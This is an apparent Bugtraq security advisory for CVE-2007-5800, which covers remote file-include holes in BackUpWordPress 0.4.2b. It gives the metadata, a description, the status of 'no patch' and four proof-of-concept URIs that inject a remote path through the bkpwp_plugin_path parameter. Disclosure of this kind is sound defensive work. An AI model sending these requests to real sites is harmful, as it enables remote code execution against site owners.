BackUpWordPress Bkpwp_Plugin_Path Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	26290
Class:	Input Validation Error
CVE:	CVE-2007-5800
Remote:	Yes
Local:	No
Published:	Nov 01 2007 12:00AM
Updated:	Nov 15 2007 12:36AM
Credit:	S.W.A.T. is credited with the discovery of these vulnerabilities.
Vulnerable:	Designpraxis BackUpWordPress 0.4.2b
Not Vulnerable:

BackUpWordPress Bkpwp_Plugin_Path Parameter Multiple Remote File Include Vulnerabilities

BackUpWordPress is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

BackUpWordPress 0.4.2b is vulnerable; other versions may also be affected.

BackUpWordPress Bkpwp_Plugin_Path Parameter Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/plugins/BackUp/Archive.php?bkpwp_plugin_path=Shl3?
http://www.example.com/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=Shl3?
http://www.example.com/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=Shl3?
http://www.example.com/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=Shl3?

BackUpWordPress Bkpwp_Plugin_Path Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

BackUpWordPress Bkpwp_Plugin_Path Parameter Multiple Remote File Include Vulnerabilities

References:

• BackUpWordPress Homepage (Designpraxis)
  
• Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)